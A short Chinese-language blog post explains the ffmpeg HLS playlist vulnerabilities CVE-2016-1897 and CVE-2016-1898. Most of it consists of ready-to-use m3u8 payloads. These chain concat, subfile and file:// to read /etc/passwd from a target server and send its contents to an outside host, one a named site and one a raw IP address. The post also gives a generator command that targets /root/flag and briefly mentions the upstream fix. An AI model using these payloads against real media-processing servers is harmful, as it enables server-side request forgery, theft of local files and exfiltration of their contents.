ffmpeg_SSRF任意文件读取 本文累计 1428 字, 最后更新时间:2022年01月09日 ffmpeg:( <=3.2.2、3.2.5、3.1.2、2.6.8) ### 先导知识: HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议,大多数都应用在PC上和Iphone上。它的基本原理是把一个视频流分成很多个很小很小很小的ts流文件,然后通过HTTP下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。 ###0x01: #### CVE-2016-1897: ffmpeg可以解析m3u8文件并远程访问其中的url资源,但官方未经限制的提供了file://协议与concat协议, concat将file协议读取的文件与远程访问的url进行拼接,导致了SSRF与任意文件读取漏洞, #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://www.secpulse.com/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST 以上内容保存成test.avi,是用来上传到被攻击服务器的。 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://www.secpulse.com? 以上内容保存成header.m3u8,将header.m3u8上传到你的服务器,然后把test.avi上传到攻击服务器 #### CVE-2016-1898 1897中的payload只能读取一行,所以我们要寻找新的trick. 正好ffmpeg资瓷一个截取数据流片段的功能: subfile,可以用其实现读取任意文件的功能 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://198.56.193.29:8080/test.txt|subfile,,start,0,end,31,,:file:///etc/passwd|subfile,,start,32,end,63,,:file:///etc/passwd|subfile,,start,64,end,95,,:file:///etc/passwd|subfile,,start,96,end,127,,:file:///etc/passwd|subfile,,start,127,end,158,,:file:///etc/passwd #EXT-X-ENDLIST 官方对这个漏洞的修复是把concat协议加入了黑名单并在结构体中加入了protocol_blacklist和protocol_whitelist这两个域。 ### 0x02: 任意文件读取 python3 genxx.py file:///root/flag ssrf.avi ![请输入图片描述][1] [1]: https://s2.loli.net/2022/01/09/G93Rxk4ltyezSXr.png
Comments | NOTHING